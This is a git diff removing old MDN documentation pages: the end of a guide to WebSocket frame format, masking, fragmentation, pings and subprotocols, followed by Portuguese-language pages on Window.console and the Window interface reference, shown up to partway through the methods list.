-<p>For example, you might keep a table of usernames or ID numbers along with the corresponding {{domxref("WebSocket")}} and other data that you need to associate with that connection.</p>
-
-<h2 id="Exchanging_data_frames">Exchanging data frames</h2>
-
-<p>Either the client or the server can choose to send a message at any time — that's the magic of WebSockets. However, extracting information from these so-called "frames" of data is a not-so-magical experience. Although all frames follow the same specific format, data going from the client to the server is masked using <a href="https://en.wikipedia.org/wiki/XOR_cipher">XOR encryption</a> (with a 32-bit key). Section 5 of the specification describes this in detail.</p>
-
-<h3 id="Format">Format</h3>
-
-<p>Each data frame (from the client to the server or vice-versa) follows this same format:</p>
-
-<pre class="notranslate">Frame format:
-​​
- 0 1 2 3
- 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
- +-+-+-+-+-------+-+-------------+-------------------------------+
- |F|R|R|R| opcode|M| Payload len | Extended payload length |
- |I|S|S|S| (4) |A| (7) | (16/64) |
- |N|V|V|V| |S| | (if payload len==126/127) |
- | |1|2|3| |K| | |
- +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
- | Extended payload length continued, if payload len == 127 |
- + - - - - - - - - - - - - - - - +-------------------------------+
- | |Masking-key, if MASK set to 1 |
- +-------------------------------+-------------------------------+
- | Masking-key (continued) | Payload Data |
- +-------------------------------- - - - - - - - - - - - - - - - +
- : Payload Data continued ... :
- + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
- | Payload Data continued ... |
- +---------------------------------------------------------------+</pre>
-
-<p>The MASK bit tells whether the message is encoded. Messages from the client must be masked, so your server must expect this to be 1. (In fact, <a href="http://tools.ietf.org/html/rfc6455#section-5.1">section 5.1 of the spec</a> says that your server must disconnect from a client if that client sends an unmasked message.) When sending a frame back to the client, do not mask it and do not set the mask bit. We'll explain masking later. <em>Note: You must mask messages even when using a secure socket. </em>RSV1-3 can be ignored, they are for extensions.</p>
-
-<p>The opcode field defines how to interpret the payload data: <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;"><code>0x0</code> </span><span style="line-height: 1.5;">for continuation,</span><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">0x1</code><span style="line-height: 1.5;"> for text (which is always encoded in UTF-8), </span><code style="font-style: normal; line-height: 1.5;">0x2</code><span style="line-height: 1.5;"> for binary, and other so-called "control codes" that will be discussed later. In this version of WebSockets, <code>0x3</code> to <code>0x7</code> and <code>0xB</code> to <code>0xF</code> have no meaning.</span></p>
-
-<p>The FIN bit tells whether this is the last message in a series. If it's 0, then the server keeps listening for more parts of the message; otherwise, the server should consider the message delivered. More on this later.</p>
-
-<h3 id="Decoding_Payload_Length">Decoding Payload Length</h3>
-
-<p>To read the payload data, you must know when to stop reading. That's why the payload length is important to know. Unfortunately, this is somewhat complicated. To read it, follow these steps:</p>
-
-<ol>
- <li>Read bits 9-15 (inclusive) and interpret that as an unsigned integer. If it's 125 or less, then that's the length; you're <strong>done</strong>. If it's 126, go to step 2. If it's 127, go to step 3.</li>
- <li>Read the next 16 bits and interpret those as an unsigned integer. You're <strong>done</strong>.</li>
- <li>Read the next 64 bits and interpret those as an unsigned integer. (The most significant bit <em>must</em> be 0.) You're <strong>done</strong>.</li>
-</ol>
-
-<h3 id="Reading_and_Unmasking_the_Data">Reading and Unmasking the Data</h3>
-
-<p>If the MASK bit was set (and it should be, for client-to-server messages), read the next 4 octets (32 bits); this is the masking key. <span style="line-height: 1.5;">Once the payload length and masking key is decoded, you can read that number of bytes from the socket. Let's call the data <strong>ENCODED</strong>, and the key <strong>MASK</strong>. To get <strong>DECODED</strong>, loop through the octets (bytes a.k.a. characters for text data) of <strong>ENCODED</strong> and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid JavaScript):</span></p>
-
-<pre class="notranslate">var DECODED = "";
-for (var i = 0; i &lt; ENCODED.length; i++) {
- DECODED[i] = ENCODED[i] ^ MASK[i % 4];
-<span style="line-height: 1.5;">}</span></pre>
-
-<p><span style="line-height: 1.5;">Now you can figure out what <strong>DECODED</strong> means depending on your application.</span></p>
-
-<h3 id="Message_Fragmentation">Message Fragmentation</h3>
-
-<p>The FIN and opcode fields work together to send a message split up into separate frames.  This is called message fragmentation. Fragmentation is only available on opcodes <code>0x0</code> to <code>0x2</code>.</p>
-
-<p><span style="line-height: 1.5;">Recall that the opcode tells what a frame is meant to do. If it's <code>0x1</code>, the payload is text. If it's <code>0x2</code>, the payload is binary data.</span><span style="line-height: 1.5;"> However, if it's </span><code style="font-style: normal; line-height: 1.5;">0x0,</code><span style="line-height: 1.5;"> the frame is a continuation frame; this means the server should concatenate the frame's payload to the last frame it received from that client.</span><span style="line-height: 1.5;"> Here is a rough sketch, in which a server reacts to a client sending text messages. The first message is sent in a single frame, while the second message is sent across three frames. FIN and opcode details are shown only for the client:</span></p>
-
-<pre style="font-size: 14px;"><strong>Client:</strong> FIN=1, opcode=0x1, msg="hello"
-<strong>Server:</strong> <em>(process complete message immediately) </em>Hi.
-<strong>Client:</strong> FIN=0, opcode=0x1, msg="and a"
-<strong>Server:</strong> <em>(listening, new message containing text started)</em>
-<strong>Client:</strong> FIN=0, opcode=0x0, msg="happy new"
-<strong>Server:</strong> <em>(listening, payload concatenated to previous message)</em>
-<strong>Client:</strong> FIN=1, opcode=0x0, msg="year!"
-<strong>Server:</strong> <em>(process complete message) </em>Happy new year to you too!</pre>
-
-<p>Notice the first frame contains an entire message (has <code>FIN=1</code> and <code>opcode!=0x0</code>), so the server can process or respond as it sees fit. The second frame sent by the client has a text payload (<code>opcode=0x1</code>), but the entire message has not arrived yet (<code>FIN=0</code>). All remaining parts of that message are sent with continuation frames (<code>opcode=0x0</code>), and the final frame of the message is marked by <code>FIN=1</code>. <a href="http://tools.ietf.org/html/rfc6455#section-5.4">Section 5.4 of the spec</a> describes message fragmentation.</p>
-
-<h2 id="Pings_and_Pongs_The_Heartbeat_of_WebSockets">Pings and Pongs: The Heartbeat of WebSockets</h2>
-
-<p>At any point after the handshake, either the client or the server can choose to send a ping to the other party. When the ping is received, the recipient must send back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.</p>
-
-<p>A ping or pong is just a regular frame, but it's a <strong>control frame</strong>. Pings have an opcode of <code>0x9</code>, and pongs have an opcode of <code>0xA</code>. When you get a ping, send back a pong with the exact same Payload Data as the ping (for pings and pongs, the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.</p>
-
-<div class="note">
-<p>If you have gotten more than one ping before you get the chance to send a pong, you only send one pong.</p>
-</div>
-
-<h2 id="Closing_the_connection">Closing the connection</h2>
-
-<p>To close a connection either the client or server can send a control frame with data containing a specified control sequence to begin the closing handshake (detailed in <a href="http://tools.ietf.org/html/rfc6455#section-5.5.1">Section 5.5.1</a>). Upon receiving such a frame, the other peer sends a Close frame in response. The first peer then closes the connection. Any further data received after closing of connection is then discarded. </p>
-
-<h2 id="Miscellaneous_2"><a name="Miscellaneous">Miscellaneous</a></h2>
-
-<div class="note">
-<p>WebSocket codes, extensions, subprotocols, etc. are registered at the <a href="http://www.iana.org/assignments/websocket/websocket.xml">IANA WebSocket Protocol Registry</a>.</p>
-</div>
-
-<p>WebSocket extensions and subprotocols are negotiated via headers during <a href="#Handshake">the handshake</a>. Sometimes extensions and subprotocols very similar, but there is a clear distinction. Extensions control the WebSocket <em>frame</em> and <em>modify</em> the payload, while subprotocols structure the WebSocket <em>payload</em> and <em>never modify</em> anything. Extensions are optional and generalized (like compression); subprotocols are mandatory and localized (like ones for chat and for MMORPG games).</p>
-
-<h3 id="Extensions">Extensions</h3>
-
-<div class="note">
-<p><strong>This section needs expansion. Please edit if you are equipped to do so.</strong></p>
-</div>
-
-<p>Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the <em>same</em> data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.</p>
-
-<div class="note">
-<p>Extensions are explained in sections 5.8, 9, 11.3.2, and 11.4 of the spec.</p>
-</div>
-
-<p><em>TODO</em></p>
-
-<h3 id="Subprotocols">Subprotocols</h3>
-
-<p>Think of a subprotocol as a custom <a href="https://en.wikipedia.org/wiki/XML_schema">XML schema</a> or <a href="https://en.wikipedia.org/wiki/Document_Type_Definition">doctype declaration</a>. You're still using XML and its syntax, but you're additionally restricted by a structure you agreed on. WebSocket subprotocols are just like that. They do not introduce anything fancy, they just establish structure. Like a doctype or schema, both parties must agree on the subprotocol; unlike a doctype or schema, the subprotocol is implemented on the server and cannot be externally refered to by the client.</p>
-
-<div class="note">
-<p>Subprotocols are explained in sections 1.9, 4.2, 11.3.4, and 11.5 of the spec.</p>
-</div>
-
-<p>A client has to ask for a specific subprotocol. To do so, it will send something like this <em>as part of the original handshake</em>:</p>
-
-<pre class="notranslate">GET /chat HTTP/1.1
-...
-Sec-WebSocket-Protocol: soap, wamp
-
-</pre>
-
-<p>or, equivalently:</p>
-
-<pre class="notranslate">...
-Sec-WebSocket-Protocol: soap
-Sec-WebSocket-Protocol: wamp
-
-</pre>
-
-<p>Now the server must pick one of the protocols that the client suggested and it supports. If there is more than one, send the first one the client sent. Imagine our server can use both <code>soap</code> and <code>wamp</code>. Then, in the response handshake, it sends:</p>
-
-<pre class="notranslate">Sec-WebSocket-Protocol: soap
-
-</pre>
-
-<div class="warning">
-<p>The server can't send more than one <code>Sec-Websocket-Protocol</code> header.<br>
- <span style="line-height: 1.5;">If the server doesn't want to use a</span><span style="line-height: 1.5;">ny subprotocol, </span><em><strong style="line-height: 1.5;">it shouldn't send any <code>Sec-WebSocket-Protocol</code> header</strong></em><span style="line-height: 1.5;">. Sending a blank header is incorrect. The client may close the connection if it doesn't get the subprotocol it wants.</span></p>
-</div>
-
-<p>If you want your server to obey certain subprotocols, then naturally you'll need extra code on the server. Let's imagine we're using a subprotocol <code>json</code>. In this subprotocol, all data is passed as <a href="https://en.wikipedia.org/wiki/JSON">JSON</a>. If the client solicits this protocol and the server wants to use it, the server needs to have a JSON parser. Practically speaking, this will be part of a library, but the server needs to pass the data around.</p>
-
-<div class="note">
-<p><strong>Tip:</strong> To avoid name conflict, it's recommended to make your subprotocol name part of a domain string. If you are building a custom chat app that uses a proprietary format exclusive to Example Inc., then you might use this: <code>Sec-WebSocket-Protocol: chat.example.com</code>. Note that this isn't required, it's just an optional convention, and you can use any string you wish.</p>
-</div>
-
-<h2 id="Related">Related</h2>
-
-<ul>
- <li><a href="https://github.com/alexhultman/libwshandshake">WebSocket handshake library in C++</a></li>
- <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
- <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_server" title="/en-US/docs/WebSockets/Writing_WebSocket_server">Tutorial: Websocket server in C#</a></li>
- <li><a href="/en-US/docs/WebSockets/WebSocket_Server_Vb.NET">Tutorial: Websocket server in VB.NET</a></li>
- <li><a href="/en-US/docs/Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java">Tutorial: Websocket server in Java</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/window/console/index.html b/files/pt-pt/web/api/window/console/index.html
deleted file mode 100644
index 80abc2170c..0000000000
--- a/files/pt-pt/web/api/window/console/index.html
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: Window.console
-slug: Web/API/Window/console
-tags:
- - API
- - Consola
- - Referencia
- - Só-de-leitura
- - Window
- - console
-translation_of: Web/API/Window/console
----
-<p>{{ APIRef }}</p>
-
-<p>A propriedade só-de-leitura <em><strong><code>Window.console</code></strong></em> devolve uma referência para o objeto {{domxref("Console")}}, que fornece métodos para registar informação na <em>console </em>do navegador. Estes métodos são destinados apenas para fins de depuração e não deverão ser invocados para apresentar informação aos utilizadores finais.</p>
-
-<h2 id="Syntax" name="Syntax">Sintaxe</h2>
-
-<pre class="syntaxbox"><em>var consoleObj</em> = <em>window</em>.console;
-</pre>
-
-<h2 id="Example" name="Example">Exemplos</h2>
-
-<h3 id="Registar_para_console">Registar para console</h3>
-
-<p>The first example logs text to the console.</p>
-
-<pre class="brush: js">console.log("An error occurred while loading the content");
-</pre>
-
-<p>The next example logs an object to the console, with the object's fields expandable using disclosure widgets:</p>
-
-<pre class="brush: js">console.dir(someObject);</pre>
-
-<p>See {{SectionOnPage("/en-US/docs/Web/API/Console", "Usage")}} for more thorough examples.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('Console API')}}</td>
- <td>{{Spec2('Console API')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p>Currently there are many implementation differences among browsers, but work is being done to bring them together and make them more consistent with one another.</p>
-</div>
diff --git a/files/pt-pt/web/api/window/index.html b/files/pt-pt/web/api/window/index.html
deleted file mode 100644
index 29deceb028..0000000000
--- a/files/pt-pt/web/api/window/index.html
+++ /dev/null
@@ -1,479 +0,0 @@
----
-title: Window
-slug: Web/API/Window
-tags:
- - API
- - DOM
- - Interface
- - JavaScript
- - NeedsTranslation
- - Reference
- - TopicStub
- - Window
-translation_of: Web/API/Window
----
-<p>{{APIRef}}</p>
-
-<p><span class="seoSummary">O objeto <em><code>window</code></em> representa uma janela contendo um documento DOM; a propriedade <em><code>document</code></em> aponta para o <a href="/en-US/docs/DOM/document">documento DOM</a> carregado nessa janela.</span> Uma janela para um determinado documento pode ser obtida utilizando a propriedade {{Domxref("document.defaultView")}}.</p>
-
-<p>This section provides a brief reference for all of the methods, properties, and events available through the DOM <code>window</code> object. The <code>window</code> object implements the <code>Window</code> interface, which in turn inherits from the <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code> interface. Some additional global functions, namespaces, objects, interfaces, and constructors, not typically associated with the window, but available on it, are listed in the <a href="/en-US/docs/JavaScript/Reference">JavaScript Reference</a> and <a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a>.</p>
-
-<p>In a tabbed browser, such as Firefox, each tab contains its own <code>window</code> object (and if you're writing an extension, the browser window itself is a separate window too - see <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a> for more information). That is, the <code>window</code> object is not shared between tabs in the same window. Some methods, namely {{Domxref("window.resizeTo")}} and {{Domxref("window.resizeBy")}} apply to the whole window and not to the specific tab the <code>window</code> object belongs to. Generally, anything that can't reasonably pertain to a tab pertains to the window instead.</p>
-
-<p>{{InheritanceDiagram}}</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
-
-<p>Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below.</p>
-
-<dl>
- <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
- <dd>This property indicates whether the current window is closed or not.</dd>
- <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt>
- <dd>Returns a reference to the console object which provides access to the browser's debugging console.</dd>
- <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
- <dd>Returns a reference to the content element in the current window. Since Firefox 57 (initially Nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.</dd>
- <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
- <dd>Returns the XUL controller objects for the current chrome window.</dd>
- <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
- <dd>Returns the browser crypto object.</dd>
- <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
- <dd>Gets/sets the status bar text for the given window.</dd>
- <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
- <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd>
- <dt>{{domxref("Window.dialogArguments")}} {{ReadOnlyInline}}</dt>
- <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd>
- <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
- <dd>Synonym of {{domxref("window.personalbar")}}</dd>
- <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
- <dd>Returns a reference to the document that the window contains.</dd>
- <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
- <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd>
- <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
- <dd>Returns an array of the subframes in the current window.</dd>
- <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
- <dd>This property indicates whether the window is displayed in full screen or not.</dd>
- <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
- <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br>
- Was: Multiple storage objects that are used for storing data across multiple pages.</dd>
- <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
- <dd>Returns a reference to the history object.</dd>
- <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt>
- <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd>
- <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt>
- <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd>
- <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt>
- <dd>Indicates whether a context is capable of using features that require secure contexts.</dd>
- <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
- <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd>
- <dt>{{domxref("Window.location")}}</dt>
- <dd>Gets/sets the location, or current URL, of the window object.</dd>
- <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
- <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd>
- <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
- <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd>
- <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
- <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd>
- <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd>
- <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}</dt>
- <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd>
- <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
- <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd>
- <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
- <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd>
- <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd>
- <dt>{{domxref("Window.name")}}</dt>
- <dd>Gets/sets the name of the window.</dd>
- <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
- <dd>Returns a reference to the navigator object.</dd>
- <dt>{{domxref("Window.opener")}}</dt>
- <dd>Returns a reference to the window that opened this current window.</dd>
- <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt>
- <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd>
- <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
- <dd>Gets the height of the outside of the browser window.</dd>
- <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
- <dd>Gets the width of the outside of the browser window.</dd>
- <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
- <dd>An alias for {{domxref("window.scrollX")}}.</dd>
- <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
- <dd>An alias for {{domxref("window.scrollY")}}</dd>
- <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
- <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd>
- <dt>{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}</dt>
- <dd>Returns a {{domxref('StaticRange.StaticRange','StaticRange()')}} constructor which creates a {{domxref('StaticRange')}} object.</dd>
- <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
- <dd>Returns a reference to the parent of the current window or subframe.</dd>
- <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
- <dd>Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing <a href="/en-US/docs/Navigation_timing">performance-related</a> data. See also <a href="/en-US/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Using Navigation Timing</a> for additional information and examples.</dd>
- <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
- <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
- <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
- <dd>Formerly provided access to install and remove PKCS11 modules.</dd>
- <dt>{{domxref("Window.returnValue")}}</dt>
- <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd>
- <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
- <dd>Returns a reference to the screen object associated with the window.</dd>
-
- <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
- <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd>
- <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
- <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd>
- <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
- <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
- <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
- <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd>
- <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
- <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd>
- <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
- <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
- <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
- <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
- <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
- <dd>Returns an object reference to the window object itself.</dd>
- <dt>{{domxref("Window.sessionStorage")}}</dt>
- <dd>Returns a storage object for storing data within a single page session.</dd>
- <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
- <dd>Returns a reference to the window object of the sidebar.</dd>
- <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
- <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd>
- <dt>{{domxref("Window.status")}}</dt>
- <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
- <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
- <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
- <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
- <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
- <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
- <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd>
- <dt>{{domxref("Window.visualViewport")}} {{readOnlyInline}}</dt>
- <dd>Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.</dd>
- <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
- <dd>Returns a reference to the current window.</dd>
- <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
- <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd>
-</dl>
-
-<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
-
-<dl>
- <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
- <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
- <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
- <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
- <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.</em></p>
-
-<dl>
- <dt>{{domxref("Window.alert()")}}</dt>
- <dd>Displays an alert dialog.</dd>
-
- <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Moves back one in the window history.</dd>
- <dt>{{domxref("Window.blur()")}}</dt>
- <dd>Sets focus away from the window.</dd>
- <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt>
- <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.</dd>
- <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
- <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd>
- <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
- <dd>Registers the window to capture all events of the specified type.</dd>
- <dt>{{domxref("Window.clearImmediate()")}}</dt>
- <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd>
- <dt>{{domxref("Window.close()")}}</dt>
- <dd>Closes the current window.</dd>
- <dt>{{domxref("Window.confirm()")}}</dt>
- <dd>Displays a dialog with a message that the user needs to respond to.</dd>
- <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.dispatchEvent()")}}</dt>
- <dd>Used to trigger an event.</dd>
- <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt>
- <dd>Writes a message to the console.</dd>
- <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.find()")}}</dt>
- <dd>Searches for a given string in a window.</dd>
- <dt>{{domxref("Window.focus()")}}</dt>
- <dd>Sets focus on the current window.</dd>
- <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Moves the window one document forward in the history.</dd>
- <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Flashes the application icon.</dd>
- <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.getComputedStyle()")}}</dt>
- <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
- <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt>
- <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd>
- <dt>{{domxref("Window.getSelection()")}}</dt>
- <dd>Returns the selection object representing the selected item(s).</dd>
- <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Returns the browser to the home page.</dd>
- <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
- <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd>
- <dt>{{domxref("Window.maximize()")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
- <dd>Minimizes the window.</dd>
